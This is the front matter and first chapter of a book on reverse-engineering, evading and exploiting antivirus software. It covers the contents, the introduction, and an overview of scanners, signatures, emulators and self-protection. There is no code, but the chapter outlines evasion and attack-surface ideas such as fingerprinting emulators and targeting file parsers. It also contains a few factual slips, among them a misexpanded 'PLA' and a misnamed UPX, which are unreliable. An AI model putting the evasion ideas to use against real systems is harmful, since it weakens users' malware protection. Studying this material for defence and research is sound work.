The Antivirus Hacker`s Handbook

The Antivirus Hacker`s Handbook
The Antivirus Hacker’s
The Antivirus Ha
Joxeaan Koret
Elias Bach
The Antivirus Hacker’s Handbook
Published by
John Wiley & Sons, Inc.
10475 Crosspoint Boulevard
Indianapolis, IN 46256
About the
e Authors
Joxean Koret has been working for the past +15 years in many different computing areas. He started as a database software developer and DBA, working
with a number of different RDBMSs. Afterward he got interested in reverseengineering and applied this knowledge to the DBs he was working with. He
has discovered dozens of vulnerabilities in products from the major database
vendors, especially in Oracle software. He also worked in other security areas,
such as developing IDA Pro at Hex-Rays or doing malware analysis and antimalware software development for an antivirus company, knowledge that was
applied afterward to reverse-engineer and break over 14 AV products in roughly
one year. He is currently a security researcher in Coseinc.
Elias Bachaalany has been a computer programmer, a reverse-engineer, an occasional reverse-engineering trainer, and a technical writer for the past 14 years.
g published by
Elias has also co-authored the book Practical Reverse Engineering,
Wiley (ISBN: 978-111-8-78731-1). He has worked with various technologies and
programming languages including writing scripts, doing web development,
working with database design and programming, writing Windows device
drivers and low-level code such as boot loaders or minimal operating systems,
writing managed code, assessing software protections, and writing reverseengineering and desktop security tools. Elias has also presented twice at REcon
Montreal (2012 and 2013).
While working for Hex-Rays SA in Belgium, Elias helped improve and add
new features to IDA Pro. During that period, he authored various technical blog
posts, provided IDA Pro training, developed various debugger plug-ins, amped
up IDA Pro’s scripting facilities, and contributed to the IDAPython project. Elias
currently works at Microsoft.
Project Editor
Sydney Argenta
Technical Editor
Daniel Pistelli
Production Editor
Saleem Hameed Sulthan
Copy Editor
Marylouise Wiack
Manager of Content Development
& Assembly
Mary Beth Wakefield
Professional Technology &
Strategy Director
Barry Pruett
Business Manager
Amy Knies
Associate Publisher
Jim Minatel
Project Coordinator, Cover
Brent Savage
Nicole Hirschman
Production Manager
Kathleen Wisor
Nancy Guenther
Marketing Director
David Mayhew
Cover Designer
Marketing Manager
Carrie Sherrill
Cover Image
Wiley; Shield ©
I would like to acknowledge Mario Ballano, Ruben Santamarta, and Victor
Manual Alvarez, as well as all my friends who helped me write this book, shared
their opinions and criticisms, and discussed ideas. I am most thankful to my
girlfriend for her understanding and support during the time that I spent on
this book. Many thanks to Elias Bachaalany; without his help, this book would
not have been possible. Also, special thanks to everyone at Wiley; it has been
a great pleasure to work with you on this book. I am grateful for the help and
support of Daniel Pistelli, Carol Long, Sydney Argenta, Nicole Hirschman,
and Marylouise Wiack.
Contents at a Glance
Part I
Antivirus Basics
Chapter 1
Introduction to Antivirus Software
Chapter 2
Reverse-Engineering the Core
Chapter 3
The Plug-ins System
Chapter 4
Understanding Antivirus Signatures
Chapter 5
The Update System
Part II
Antivirus Software Evasion
Chapter 6
Antivirus Software Evasion
Chapter 7
Evading Signatures
Chapter 8
Evading Scanners
Chapter 9
Evading Heuristic Engines
Chapter 10
Identifying the Attack Surface
Chapter 11
Denial of Service
Part III
Analysis and Exploitation
Chapter 12
Static Analysis
Chapter 13
Dynamic Analysis
Chapter 14
Local Exploitation
Chapter 15
Remote Exploitation
Contents at a Glance
Part IV
Current Trends and Recommendations
Chapter 16
Current Trends in Antivirus Protection
Chapter 17
Recommendations and the Possible Future
Part I
Antivirus Basics
Chapter 1
Introduction to Antivirus Software
What Is Antivirus Software?
Antivirus Software: Past and Present
Antivirus Scanners, Kernels, and Products
Typical Misconceptions about Antivirus Software
Antivirus Features
Basic Features
Making Use of Native Languages
Compressors and Archives
Miscellaneous File Formats
Advanced Features
Packet Filters and Firewalls
Chapter 2
Reverse-Engineering the Core
Reverse-Engineering Tools
Command-Line Tools versus GUI Tools
Debugging Symbols
Tricks for Retrieving Debugging Symbols
Debugging Tricks
Backdoors and Configuration Settings
Kernel Debugging
Debugging User-Mode Processes with a Kernel-Mode
Analyzing AV Software with Command-Line Tools
Chapter 3
Porting the Core
A Practical Example: Writing Basic Python Bindings
for Avast for Linux
A Brief Look at Avast for Linux
Writing Simple Python Bindings for Avast for Linux
The Final Version of the Python Bindings
A Practical Example: Writing Native C/C++ Tools for Comodo
Antivirus for Linux
Other Components Loaded by the Kernel
The Plug-ins System
Understanding How Plug-ins Are Loaded
A Full-Featured Linker in Antivirus Software
Understanding Dynamic Loading
Advantages and Disadvantages of the Approaches for Packaging
Types of Plug-ins
Scanners and Generic Routines
File Format and Protocol Support
Bayesian Networks
Bloom Filters
Weights-Based Heuristics
Chapter 4
Some Advanced Plug-ins
Memory Scanners
Non-native Code
Scripting Languages
Understanding Antivirus Signatures
Typical Signatures
Custom Checksums
Cryptographic Hashes
Advanced Signatures
Fuzzy Hashing
Graph-Based Hashes for Executable Files
Chapter 5
The Update System
Understanding the Update Protocols
Support for SSL/TLS
Verifying the Update Files
Dissecting an Update Protocol
When Protection Is Done Wrong
Part II
Antivirus Software Evasion
Chapter 6
Antivirus Software Evasion
Who Uses Antivirus Evasion Techniques?
Discovering Where and How Malware Is Detected
Old Tricks for Determining Where Malware Is
Detected: Divide and Conquer
Evading a Simple Signature-Based Detection with the
Divide and Conquer Trick
Binary Instrumentation and Taint Analysis
Chapter 7
Evading Signatures
File Formats: Corner Cases and Undocumented Cases
Evading a Real Signature
Evasion Tips and Tricks for Specific File Formats
PE Files
String Encoding
Executing Code on the Fly
Hiding the Logic: Opaque Predicates and Junk Code
Chapter 8
Evading Scanners
Generic Evasion Tips and Tricks
Fingerprinting Emulators
Advanced Evasion Tricks
Taking Advantage of File Format Weaknesses
Using Anti-emulation Techniques
Using Anti-disassembling Techniques
Disrupting Code Analyzers through Anti-analysis
More Anti-Anti-Anti…
Causing File Format Confusion
Automating Evasion of Scanners
Initial Steps
Installing ClamAV
Installing Avast
Installing AVG
Installing F-Prot
Installing Comodo
Installing Zoner Antivirus
MultiAV Configuration
Writing the Final Tool
Chapter 9
Evading Heuristic Engines
Heuristic Engine Types
Static Heuristic Engines
Bypassing a Simplistic Static Heuristic Engine
Dynamic Heuristic Engines
Userland Hooks
Bypassing a Userland HIPS
Kernel-Land Hooks
Chapter 10
Identifying the Attack Surface
Understanding the Local Attack Surface
Finding Weaknesses in File and Directory Privileges
Escalation of Privileges
Incorrect Privileges in Files and Folders
Incorrect Access Control Lists
Kernel-Level Vulnerabilities
Exotic Bugs
Exploiting SUID and SGID Binaries on Unix-Based Platforms
ASLR and DEP Status for Programs and Binaries
Exploiting Incorrect Privileges on Windows Objects
Exploiting Logical Flaws
Understanding the Remote Attack Surface
File Parsers
Generic Detection and File Disinfection Code
Network Services, Administration Panels, and Consoles
Firewalls, Intrusion Detection Systems, and Their Parsers
Update Services
Browser Plug-ins
Security Enhanced Software
Chapter 11
Denial of Service
Local Denial-of-Service Attacks
Compression Bombs
Creating a Simple Compression Bomb
Bugs in File Format Parsers
Attacks against Kernel Drivers
Remote Denial-of-Service Attacks
Compression Bombs
Bugs in File Format Parsers
Part III
Analysis and Exploitation
Chapter 12
Static Analysis
Performing a Manual Binary Audit
File Format Parsers
Remote Services
Chapter 13
Dynamic Analysis
What Is a Fuzzer?
Simple Fuzzing
Automating Fuzzing of Antivirus Products
Using Command-Line Tools
Porting Antivirus Kernels to Unix
Fuzzing with Wine
Problems, Problems, and More Problems
Finding Good Templates
Finding Template Files
Maximizing Code Coverage
Blind Code Coverage Fuzzer
Using Blind Code Coverage Fuzzer
Nightmare, the Fuzzing Suite
Configuring Nightmare
Finding Samples
Configuring and Running the Fuzzer
Chapter 14
Local Exploitation
Exploiting Backdoors and Hidden Features
Finding Invalid Privileges, Permissions, and ACLs
Searching Kernel-Land for Hidden Features
More Logical Kernel Vulnerabilities
Chapter 15
Remote Exploitation
Implementing Client-Side Exploitation
Exploiting Weakness in Sandboxing
Exploiting ASLR, DEP, and RWX Pages at Fixed Addresses
Writing Complex Payloads
Taking Advantage of Emulators
Exploiting Archive Files
Finding Weaknesses in Intel x86, AMD x86_64, and ARM
Using JavaScript, VBScript, or ActionScript
Determining What an Antivirus Supports
Launching the Final Payload
Exploiting the Update Services
Writing an Exploit for an Update Service
Server-Side Exploitation
Differences between Client-Side and Server-Side Exploitation
Exploiting ASLR, DEP, and RWX Pages at Fixed Addresses
Part IV
Current Trends and Recommendations
Chapter 16
Current Trends in Antivirus Protection
Matching the Attack Technique with the Target
The Diversity of Antivirus Products
Zero-Day Bugs
Patched Bugs
Targeting Home Users
Targeting Small to Medium-Sized Companies
Targeting Governments and Big Companies
The Targets of Governments
Chapter 17
Recommendations and the Possible Future
Recommendations for Users of Antivirus Products
Blind Trust Is a Mistake
Isolating Machines Improves Protection
Auditing Security Products
Recommendations for Antivirus Vendors
Engineering Is Different from Security
Exploiting Antivirus Software Is Trivial
Perform Audits
Use Privileges Safely
Reduce Dangerous Code in Parsers
Improve the Safety of Update Services and Protocols
Remove or Disable Old Code
Welcome to The Antivirus Hacker’s Handbook. With this book, you can increase
your knowledge about antivirus products and reverse-engineering in general;
while the reverse-engineering techniques and tools discussed in this book are
applied to antivirus software, they can also be used with any other software
products. Security researchers, penetration testers, and other information security professionals can benefit from this book. Antivirus developers will benefit
as well because they will learn more about how antivirus products are analyzed,
how they can be broken into parts, and how to prevent it from being broken or
make it harder to break.
I want to stress that although this book is, naturally, focused on antivirus products,
it also contains practical examples that show how to apply reverse-engineering,
vulnerability discovery, and exploitation techniques to real-world applications.
Overview of the Book and Technology
This book is designed for individuals who need to better understand the functionality of antivirus products, regardless of which side of the fence they are on:
offensive or defensive. Its objective is to help you learn when and how specific
techniques and tools should be used and what specific parts of antivirus products you should focus on, based on the specific tasks you want to accomplish.
This book is for you if any of the following statements are true:
You want to learn more about the security of antivirus products.
You want to learn more about reverse-engineering, perhaps with the aim
of reverse-engineering antivirus products.
You want to bypass antivirus software.
You want to break antivirus software into pieces.
You want to write exploits for antivirus software.
You want to evaluate antivirus products.
You want to increase the overall security of your own antivirus products,
or you want to know how to write security-aware code that will deal with
hostile code.
You love to tinker with code, or you want to expand your skills and
knowledge in the information security field.
How This Book Is Organized
The contents of this book are structured as follows:
Chapter 1, “Introduction to Antivirus Software”—Guides you through
the history of antivirus software to the present, and discusses the most
typical features available in antivirus products, as well as some less common ones.
Chapter 2, “Reverse-Engineering the Core”—Describes how to reverseengineer antivirus software, with tricks that can be used to debug the
software or disable its self-protection mechanisms. This chapter also
discusses how to apply this knowledge to create Python bindings for
Avast for Linux, as well as a native C/C++ tool and unofficial SDK for
the Comodo for Linux antivirus.
Chapter 3, “The Plug-ins System”—Discusses how antivirus products
use plug-ins, how they are loaded, and how they are distributed, as well
as the purpose of antivirus plug-ins.
Chapter 4, “Understanding Antivirus Signatures”—Explores the most
typical signature types used in antivirus products, as well as some more
advanced ones.
Chapter 5, “The Update System”—Describes how antivirus software is
updated, how the update systems are developed, and how update protocols work. This chapter concludes by showing a practical example of
how to reverse-engineer an easy update protocol.
Chapter 6, “Antivirus Software Evasion”—Gives a basic overview of
how to bypass antivirus software, so that files can evade detection. Some
general tricks are discussed, as well as techniques that should be avoided.
Chapter 7, “Evading Signatures”—Continues where Chapter 4 left off
and explores how to bypass various kinds of signatures.
Chapter 8, “Evading Scanners”—Continues the discussion of how to
bypass antivirus products, this time focusing on scanners. This chapter
looks at how to bypass some static heuristic engines, anti-disassembling,
anti-emulation, and other “anti-” tricks, as well as how to write an automatic tool for portable executable file format evasion of antivirus scanners.
Chapter 9, “Evading Heuristic Engines”—Finishes the discussion on
evasion by showing how to bypass both static and dynamic heuristic
engines implemented by antivirus products.
Chapter 10, “Identifying the Attack Surface”—Introduces techniques
used to attack antivirus products. This chapter will guide you through the
process of identifying both the local and remote attack surfaces exposed
by antivirus software.
Chapter 11, “Denial of Service”—Starts with a discussion about performing denial-of-service attacks against antivirus software. This chapter discusses how such attacks can be launched against antivirus products both
locally and remotely by exploiting their vulnerabilities and weaknesses.
Chapter 12, “Static Analysis”—Guides you through the process of statically auditing antivirus software to discover vulnerabilities, including
real-world vulnerabilities.
Chapter 13, “Dynamic Analysis”—Continues with the discussion of
finding vulnerabilities in antivirus products, but this time using dynamic
analysis techniques. This chapter looks specifically at fuzzing, the most
popular technique used to discover vulnerabilities today. Throughout
this chapter, you will learn how to set up a distributed fuzzer with central
administration to automatically discover bugs in antivirus products and
be able to analyze them.
Chapter 14, “Local Exploitation”—Guides you through the process of
exploiting local vulnerabilities while putting special emphasis on logical
flaws, backdoors, and unexpected usages of kernel-exposed functionality.
Chapter 15, “Remote Exploitation”—Discusses how to write exploits
for memory corruption issues by taking advantage of typical mistakes in
antivirus products. This chapter also shows how to target update services
and shows a full exploit for one update service protocol.
Chapter 16, “Current Trends in Antivirus Protection”—Discusses which
antivirus product users can be targeted by actors that use flaws in antivirus software, and which users are unlikely to be targeted with such
techniques. This chapter also briefly discusses the dark world in which
such bugs are developed.
Chapter 17, “Recommendations and the Possible Future”—Concludes
this book by making some recommendations to both antivirus users and
antivirus vendors, and discusses which strategies can be adopted in the
future by antivirus products.
Who Should Read This Book
This book is designed for individual developers and reverse-engineers with
intermediate skills, although the seasoned reverse-engineer will also benefit
from the techniques discussed here. If you are an antivirus engineer or a malware reverse-engineer, this book will help you to understand how attackers
will try to exploit your software. It will also describe how to avoid undesirable
situations, such as exploits for your antivirus product being used in targeted
attacks against the users you are supposed to protect.
More advanced individuals can use specific chapters to gain additional skills
and knowledge. As an example, if you want to learn more about writing local
or remote exploits for antivirus products, proceed to Part III, “Analysis and
Exploitation,” where you will be guided through almost the entire process of
discovering an attack surface, finding vulnerabilities, and exploiting them. If you
are interested in antivirus evasion, then Part II, “Antivirus Software Evasion,”
is for you. So, whereas some readers may want to read the book from start to
finish, there is nothing to prevent you from moving around as needed.
Tools You Will Need
Your desire to learn is the most important thing you have as you start to read
this book. Although I try to use open-source “free” software, this is not always
possible. For example, I used the commercial tool IDA in a lot of cases; because
antivirus programs are, with only one exception, closed-source commercial
products, you need to use a reverse-engineering tool, and IDA is the de facto one.
Other tools that you will need include compilers, interpreters (such as Python),
and some tools that are not open source but that can be freely downloaded, such
as the Sysinternals tools.
What’s on the Wiley Website
To make it as easy as possible for you to get started, some of the basic tools you
will need are available on the Wiley website, which has been set up for this
book at
Summary (From Here, Up Next, and So On)
The Antivirus Hacker’s Handbook is designed to help readers become aware of
what antivirus products are, what they are not, and what to expect from them;
this information is not usually available to the public. Rather than discussing
how antivirus products work in general, it shows real bugs, exploits, and techniques for real-world products that you may be using right now and provides
real-world techniques for evasion, vulnerability discovery, and exploitation.
Learning how to break antivirus software not only helps attackers but also helps
you to understand how antivirus products can be enhanced and how antivirus
users can best protect themselves.
Par t
Antivirus Basics
In This Part
Chapter 1: Introduction to Antivirus Software
Chapter 2: Reverse-Engineering the Core
Chapter 3: The Plug-ins System
Chapter 4: Understanding Antivirus Signatures
Chapter 5: The Update System
Introduction to Antivirus
Antivirus software is designed to prevent computer infections by detecting
malicious software, commonly called malware, on your computer and, when
appropriate, removing the malware and disinfecting the computer. Malware,
also referred to as samples in this book, can be classified into various kinds,
namely, Trojans, viruses (infectors), rootkits, droppers, worms, and so on.
This chapter covers what antivirus (AV) software is and how it works. It offers
a brief history of AV software and a short analysis of how it evolved over time.
What Is Antivirus Software?
Antivirus software is special security software that aims to give better protection than that offered by the underlying operating system (such as Windows or
Mac OS X). In most cases, it is used as a preventive solution. However, when that
fails, the AV software is used to disinfect the infected programs or to completely
clean malicious software from the operating system.
AV software uses various techniques to identify malicious software, which
often self-protects and hides deep in an operating system. Advanced malware
may use undocumented operating system functionality and obscure techniques
in order to persist and avoid being detected. Because of the large attack surface
these days, AV software is designed to deal with all kinds of malicious payloads
coming from both trusted and untrusted sources. Some malicious inputs that
Part I ■ Antivirus Basics
AV software tries to protect an operating system from, with varying degrees
of success, are network packets, email attachments, and exploits for browsers
and document readers, as well as executable programs running on the operating system.
Antivirus Software: Past and Present
The earliest AV products were simply called scanners because they were commandline scanners that tried to identify malicious patterns in executable programs.
AV software has changed a lot since then. For example, many AV products no
longer include command-line scanners. Most AV products now use graphical
user interface (GUI) scanners that check every single file that is created, modified, or accessed by the operating system or by user programs. They also install
firewalls to detect malicious software that uses the network to infect computers,
install browser add-ons to detect web-based exploits, isolate browsers for safe
payment, create kernel drivers for AV self-protection or sandboxing, and so on.
Since the old days of Microsoft DOS and other antiquated operating systems,
software products have evolved alongside the operating systems, as is natural.
However, AV software has evolved at a remarkable rate since the old days
because of the incredible amount of malware that has been created. During the
1990s, an AV company would receive only a handful of malware programs in
the space of a week, and these were typically file infectors (or viruses). Now,
an AV company will receive thousands of unique malicious files (unique considering their cryptographic hash, like MD5 or SHA-1) daily. This has forced
the AV industry to focus on automatic detection and on creating heuristics for
detection of as-yet-unknown malicious software by both dynamic and static
means. Chapters 3 and 4 discuss how AV software works in more depth.
The rapid evolution of malware and anti-malware software products is driven
by a very simple motivator: money. In the early days, virus creators (also called
vxers) used to write a special kind of file infector that focused on performing
functions not previously done by others in order to gain recognition or just as a
personal challenge. Today, malware development is a highly profitable business
used to extort money from computer users, as well as steal their credentials for
various online services such as eBay, Amazon, and Google Mail, as well as banks
and payment platforms (PayPal, for example); the common goal is to make as
much money as possible.
Some players in the malware industry can steal email credentials for your
Yahoo or Gmail accounts and use them to send spam or malicious software
to thousands of users in your name. They can also use your stolen credit card
information to issue payments to other bank accounts controlled by them or to
pay mules to move the stolen money from dirty bank accounts to clean ones, so
their criminal activity becomes harder to trace.
Chapter 1 ■ Introduction to Antivirus Software
Another increasingly common type of malware is created by governments,
shady organizations, or companies that sell malware (spying software) to governments, who in turn spy on their own people’s communications. Some software is
designed to sabotage foreign countries’ infrastructures. For example, the notorious
Stuxnet computer worm managed to sabotage Iran’s Natanz nuclear plant, using
up to five zero-day exploits. Another example of sabotage is between countries
and companies that are in direct competition with another company or country
or countries, such as the cyberattack on Saudi Aramco, a sabotage campaign
attributed to Iran that targeted the biggest oil company in Saudi Arabia.
Software can also be created simply to spy on government networks, corporations, or citizens; organizations like the National Security Agency (NSA)
and Britain’s Government Communications Headquarters (GCHQ), as well as
hackers from the Palestine Liberation Army (PLA), engage in these activities
almost daily. Two examples of surveillance software are FinFisher and Hacking
Team. Governments, as well as law enforcement and security agencies, have
purchased commercial versions of FinFisher and Hacking Team to spy on
criminals, suspects, and their own citizens. An example that comes to mind is
the Bahrain government, which used FinFisher software to spy on rebels who
were fighting against the government.
Big improvements and the large amounts of money invested in malware
development have forced the AV industry to change and evolve dramatically
over the last ten years. Unfortunately, the defensive side of information security,
where AV software lies, is always behind the offensive side. Typically, an AV
company cannot detect malware that is as yet unknown, especially if there is
some quality assurance during the development of the malware software piece.
The reason is very simple: AV evasion is a key part of malware development,
and for attackers it is important that their malware stay undetected as long
as possible. Many commercial malware packages, both legal and illegal, are
sold with a window of support time. During that support period, the malware
product is updated so it bypasses detection by AV software or by the operating
system. Alternatively, malware may be updated to address and fix bugs, add
new features, and so on. AV software can be the target of an attack, as in the
case of The Mask, which was government-sponsored malware that used one
of Kaspersky’s zero-day exploits.
Antivirus Scanners, Kernels, and Products
A typical computer user may view the AV software as a simple software suite,
but an attacker must be able to view the AV on a deeper level.
This chapter will detail the various components of an AV, namely, the kernel,
command-line scanner, GUI scanner, daemons or system services, file system filter
drivers, network filter drivers, and any other support utility that ships with it.
Part I ■ Antivirus Basics
ClamAV, the only open-source AV software, is an example of a scanner. It
simply performs file scanning to discover malicious software patterns, and it
prints a message for each detected file. ClamAV does not disinfect or use a true
(behavioral-based) heuristic system.
A kernel, on the other hand, forms the core of an AV product. For example,
the core of ClamAV is the library. All the routines for unpacking
executable programs, compressors, cryptors, protectors, and so on are in this
library. All the code for opening compressed files to iterate through all the streams
in a PDF file or to enumerate and analyze the clusters in one OLE2 container
file (such as a Microsoft Word document) are also in this library. The kernel is
used by the scanner clamscan, by the resident (or daemon) clamd, or by other
programs and libraries such as its Python bindings, which are called PyClamd.
N O T E AV products often use more than one AV core or kernel. For example,
F-Secure uses its own AV engine and the engine licensed from BitDefender.
An antivirus product may not always offer third-party developers direct access
to its core; instead, it may offer access to command-line scanners. Other AV
products may not give access to command-line scanners; instead, they may only
allow access to the GUI scanner or to a GUI program to configure how the realtime protection, or another part of the product, handles malware detection and
disinfection. The AV product suite may also ship with other security programs,
such as browsers, browser toolbars, drivers for self-protection, firewalls, and so on.
As you can see, the product is the whole software package the AV company
ships to the customer, while the scanners are the tools used to scan files and
directories, and the kernel includes the core features offered to higher-level
software components such as the GUI or command-line scanners.
Typical Misconceptions about Antivirus Software
Most AV users believe that security products are bulletproof and that just installing AV software keeps their computers safe. This belief is not sound, and it is
not uncommon to read comments in AV forums like, “I’m infected with XXX
malware. How can it be? I have YYY AV product installed!”
To illustrate why AV software is not bulletproof, let’s take a look at the tasks
performed by modern AV products:
Discovering known malicious patterns and bad behaviors in programs
Discovering known malicious patterns in documents and web pages
Discovering known malicious patterns in network packets
Trying to adapt and discover new bad behaviors or patterns based on
experience with previously known ones
Chapter 1 ■ Introduction to Antivirus Software
You may have noticed that the word known is used in each of these tasks.
AV products are not bulletproof solutions to combat malware because an AV
product cannot identify what is unknown. Marketing material from various AV
products may lead the average users to think they are protected from everything,
but this is unfortunately far from true. The AV industry is based on known
malware patterns; an AV product cannot spot new unknown threats unless
they are based on old known patterns (either behavioral or static), regardless
of what the AV industry advertises.
Antivirus Features
All antivirus products share a set of common features, and so studying one
system will help you understand another system. The following is a short list
of common features found in AV products:
The capability to scan compressed files and packed executables
Tools for performing on-demand or real-time file or directory scanning
A self-protection driver to guard against malware attacking the actual AV
Firewall and network inspection functionality
Command-line and graphical interface tools
A daemon or service
A management console
The following sections enumerate and briefly discuss some common features
shared by most AV products, as well as more advanced features that are available only in some products.
Basic Features
An antivirus product should have some basic features and meet certain requirements in order to be useable. For example, a basic requirement is that the AV
scanner and kernel should be fast and consume little memory.
Making Use of Native Languages
Most AV engines (except the old Malwarebytes software, which was not a full
AV product) are written in non-managed/native languages such as C, C++, or a
mix of both. AV engines must execute as quickly as possible without degrading
the system’s performance. Native languages fulfill these requirements because,
when code is compiled, they run natively on the host CPU at full speed. In the
Part I ■ Antivirus Basics
case of managed software, the compiled code is emitted into a bytecode format
and requires an extra layer to run: a virtual machine interpreter embedded in
the AV kernel that knows how to execute the bytecode.
For example, Android DEX files, Java, and .NET-managed code all require
some sort of virtual machine to run the compiled bytecode. This extra layer is
what puts native languages ahead of managed languages. Writing code using
native languages has its drawbacks, though. It is harder to code with, and it is
easier to leak memory and system resources, cause memory corruption (buffer
overflows, use-after-free, double-free), or introduce programming bugs that may
have serious security implications. Neither C nor C++ offers any mechanism
to protect from memory corruptions in the way that managed languages such
as .NET, Python, and Lua do. Chapter 3 describes vulnerabilities in the parsers
and reveals why this is the most common source of bugs in AV software.
Another common feature of AV products is the scanner, which may be a GUI or
command-line on-demand scanner. Such tools are used to scan whenever the
user decides to check a set of files, directories, or the system’s memory. There
are also on-access scanners, more typically called residents or real-time scanners.
The resident analyzes files that are accessed, created, modified, or executed
by the operating system or other programs (like web browsers); it does this to
prevent the infection of document and program files by viruses or to prevent
known malware files from executing.
The resident is one of the most interesting components to attack; for example,
a bug in the parser of Microsoft Word documents can expose the resident to
arbitrary code execution after a malicious Word document is downloaded
(even if the user doesn’t open the file). A security bug in the AV’s email message
parser code may also trigger malicious code execution when a new email with
a malicious attachment arrives and the temporary files are created on disk and
analyzed by the on-access scanner. When these bugs are triggered, they can
be used as a denial-of-service attack, which makes the AV program crash or
loop forever, thus disarming the antivirus temporarily or permanently until
the user restarts it.
The scanner of any AV product searches files or packets using a set of signatures
to determine if the files or packets are malicious; it also assigns a name to a
pattern. The signatures are the known patterns of malicious files. Some typical,
rather basic, signatures are consumed by simple pattern-matching techniques
(for example, finding a specific string, like the EICAR string), CRCs (checksums),
or MD5 hashes. Relying on cryptographic hashes, like MD5, works for only a
Chapter 1 ■ Introduction to Antivirus Software
specific file (as a cryptographic hash tries to identify just that file), while other
fuzzy logic-based signatures, like when applying the CRC algorithm on specific
chunks of data (as opposed to hashing the whole file), can identify various files.
AV products usually have different types of signatures, as described in
Chapter 8. These signature types range from simple CRCs to rather complex
heuristics patterns based on many features of the PE header, the complexity of
the code at the entry point of the executable file, and the entropy of the whole
file or some section or segment in the executable file. Sometimes signatures are
also based on the basic blocks discovered while performing code analysis from
the entry point of the executable files under analysis, and so on.
Each kind of signature has advantages and disadvantages. For example,
some signatures are very specific and less likely to be prone to a false positive
(when a healthy file is flagged as malware), while others are very risky and can
generate a large list of false positives. Imagine, for example, a signature that
finds the word Microsoft anywhere in a file that starts with the bytes MZ\x90.
This would cause a large list of false positives, regardless of whether it was discovered in a malware file. Signatures must be created with great care to avoid
false positives, like the one in Figure 1-1, or true negatives (when true malware
code is flagged as benign).
Figure 1-1: A false positive generated with Comodo Internet Security and the de facto reverseengineering tool IDA
Compressors and Archives
Another key part of every AV kernel is the support for compressed or archived
file formats: ZIP, TGZ, 7z, XAR, and RAR, to name just a few. AVs must be able
to decompress and navigate through all the files inside any compressed or
archived file, as well as compressed streams in PDF files and other file formats.
Because AV kernels must support so many different file formats, vulnerabilities
are often found in the code that deals with this variety of input.
This book discusses various vulnerabilities that affect different AV products.
Part I ■ Antivirus Basics
An unpacker is a routine or set of routines developed for unpacking protected
or compressed executable files. Malware in the form of executables is commonly
packed using freely available compressors and protectors or proprietary packers (obtained both legally and illegally). The number of packers an AV kernel
must support is even larger than the number of compressors and archives, and
it grows almost every month with the emergence of new packers used to hide
the logic of new malware.
Some packer tools, such as UPX (the Universal Unpacker), just apply simple
compression. Unpacking samples compressed by UPX is a very simple and
straightforward matter. On the other hand, there are very complex pieces of
software packers and protectors that transform the code to be packed into
bytecode and then inject one or more randomly generated virtual machines
into the executable so it runs the original code that the malware wrote. Getting
rid of this virtualization layer and uncovering the logic of the malware is very
hard and time-consuming.
Some packers can be unpacked using the CPU emulator of the AV kernel (a
component that is discussed in the following sections); others are unpacked exclusively via static means. Other more complex ones can be unpacked using both
techniques: using the emulator up to some specific layer and then using a static
routine that is faster than using the emulator when some specific values are known
(such as the size of the encrypted data, the algorithm used, the key, and so on).
As with compressors and archives, unpackers are a very common area to
explore when you are looking for vulnerabilities in AV software. The list of
packers to be supported is immense; some of them are used only during some
specific malware campaign, so the code is likely written once and never again
verified or audited. The list of packers to be supported grows every year.
Most AV kernels on the market offer support for a number of emulators, with
the only exception being ClamAV. The most common emulator in AV cores
is the Intel x86 emulator. Some advanced AV products can offer support for
AMD64 or ARM emulators. Emulators are not limited to regular CPUs, like Intel
x86, AMD64, or ARM; there are also emulators for some virtual machines. For
example, some emulators are aimed at inspecting Java bytecode, Android DEX
bytecode, JavaScript, and even VBScript or Adobe ActionScript.
Fingerprinting or bypassing emulators and virtual machines used in AV
products is an easy task: you just need to find some incongruities here and
there. For example, for the Intel x86 emulator, it is unlikely, if not impossible,
that the developers of the AV kernel would implement all of the instructions
supported by to-be-emulated CPUs in the same way the manufacturers of those
Chapter 1 ■ Introduction to Antivirus Software
specific CPUs do. For higher-level components that use the emulator, such as
the execution environments for ELF or PE files, it is even less likely that the
developers would implement the whole operating system environment or every
API provided by the OS. Therefore, it is really easy to discover many different
ways to fool emulators and to fingerprint them. Many techniques for evading
AV emulators are discussed in this book, as are techniques for fingerprinting
them. Part 3 of this book covers writing exploits for a specific AV engine.
Miscellaneous File Formats
Developing an AV kernel is very complex. The previous sections discussed some
of the common features shared by AV cores, and you can imagine the time and
effort required to support these features. However, it is even worse with an AV
kernel; the kernel must support a very long list of file formats in order to catch
exploits embedded in the files. Some file formats (excluding compressors and
archives) that come to mind are OLE2 containers (Word or Excel documents);
HTML pages, XML documents, and PDF files; CHM help files and old Microsoft
Help file formats; PE, ELF, and MachO executables; JPG, PNG, GIF, TGA, and
TIFF image file formats; ICO and CUR icon formats; MP3, MP4, AVI, ASF, and
MOV video and audio file formats; and so on.
Every time an exploit appears for some new file format, an AV engineer must
add some level of support for this file format. Some formats are so complex
that even their original author may have problems correctly handling them;
two examples are Microsoft and its Office file formats, and Adobe and its PDF
format. So why would AV developers be expected to handle it better than the
original author, considering that they probably have no previous knowledge
about this file format and may need to do some reverse-engineering work? As
you can guess, this is the most error-prone area in any AV software and will
remain so for a long time.
Advanced Features
The following sections discuss some of the most common advanced features
supported by AV products.
Packet Filters and Firewalls
From the end of the 1990s up until around 2010, it was very common to see a
new type of malware, called worms, that abused one or more remote vulnerabilities in some targeted software products. Sometimes these worms simply
used default username-and-password combinations to infect network shares
in Windows CIFS networks by copying themselves with catchy names. Famous
examples are “I love you,” Conficker, Melissa, Nimda, Slammer, and Code Red.
Part I ■ Antivirus Basics
Because many worms used network resources to infect computers, the AV
industry decided to inspect networks for incoming and outgoing traffic. To do
so, AV software installed drivers for network traffic analysis, and firewalls for
blocking and detecting the most common known attacks. As with the previously
mentioned features, this is a good source of bugs, and today worms are almost
gone. This is a feature in AV products that has not been updated in years; as a
result, it is likely suffering from a number of vulnerabilities because it has been
practically abandoned. This is one of the remotely exposed attack surfaces that
are analyzed in Chapter 11.
As AV software tries to protect computer users from malware, the malware
also tries to protect itself from the AV software. In some cases, the malware
will try to kill the processes of the installed AV product in order to disable
it. Many AV products implement self-protection techniques in kernel drivers to prevent the most common killing operations, such as issuing a call to
ZwTerminateProcess. Other self-protection techniques used by AV software
can be based on denying calls to OpenProcess with certain parameters for their
AV processes or preventing WriteProcessMemory calls, which are used to inject
code in a foreign process.
These techniques are usually implemented with kernel drivers; the protection can also be implemented in userland. However, relying on code running in
userland is a failing protection model that is known not to have worked since
2000; in any case, many AV products still make this mistake. Various AV products
that experience this problem are discussed in Part III of this book.
Operating systems, including Windows, Mac OS X, and Linux, now offer antiexploiting features, also referred to as security mitigations, like Address Space
Layout Randomization (ASLR) and Data Execution Prevention (DEP), but this
is a recent development. This is why some AV suites offer (or used to offer)
